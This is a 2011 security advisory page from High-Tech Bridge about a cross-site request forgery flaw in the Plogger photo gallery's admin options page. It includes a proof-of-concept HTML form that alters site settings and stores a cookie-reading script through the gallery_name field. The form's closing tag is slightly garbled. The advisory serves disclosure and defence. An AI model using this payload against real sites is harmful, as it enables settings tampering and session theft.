Stay in Touch

Application security insights and invitations to exclusive events in your inbox

Your data will stay confidential Private and Confidential

Cross-site Request Forgery (CSRF) in Plogger

Advisory ID:HTB22925
Vendor:Plogger Team
Vulnerable Versions:1.0 RC1 and probably prior
Tested Version:1.0 RC1
Advisory Publication:March 29, 2011 [without technical details]
Vendor Notification:March 29, 2011
Public Disclosure:April 12, 2011
Vulnerability Type:Cross-Site Request Forgery [CWE-352]
Risk Level:Medium
CVSSv2 Base Score:4 (AV:N/AC:H/Au:N/C:N/I:P/A:P)
Discovered and Provided:High-Tech Bridge Security Research Lab

Advisory Details:

High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in Plogger which could be exploited to perform cross-site request forgery attacks.

1) Cross-site request forgery (CSRF) vulnerability in Plogger
The vulnerability exists due to insufficient validation of the request origin in plog-admin/plog-options.php. A remote attacker can create a specially crafted link, trick a logged-in administrator into following that link and modify website settings. Due to insufficient sanitation of input data in the "gallery_name" parameter it is also possible to store and execute arbitrary HTML and script code in user`s browser in context of vulnerable website.
Exploitation example:
<form action="http://host/plog-admin/plog-options.php" method="post">
<input type="hidden" name="gallery_name" value='my gallery"><script>alert(document.cookie)</script>'>
<input type="hidden" name="gallery_url" value="http://host/">
<input type="hidden" name="admin_username" value="AdminName">
<input type="hidden" name="admin_email" value="">
<input type="hidden" name="admin_password" value="">
<input type="hidden" name="confirm_admin_password" value="">
<input type="submit" id="btn" name="submit" value="Update Options">
</scr ipt>

ImmuniWeb® On-Demand Web Application Penetration Test

Currently we are not aware of any vendor-supplied patches or other solutions. The vendor was contacted in accordance to our Vendor Notification Policy but we didn't get any answer or feedback.

[1] High-Tech Bridge Advisory HTB22925 - - Cross-site Request Forgery (CSRF) in Plogger
[2] Plogger - - Plogger is the next generation in open-source photo gallery systems.
[3] Common Weakness Enumeration (CWE) - - targeted to developers and security practitioners, CWE is a formal list of software weakness types.
User Comments
Add Comment

Have additional information to submit?
Please feel free to send us any additional information related to this Advisory, such as vulnerable versions, additional exploitation details and conditions, patches and other relevant details.
Quick Start
Free Trial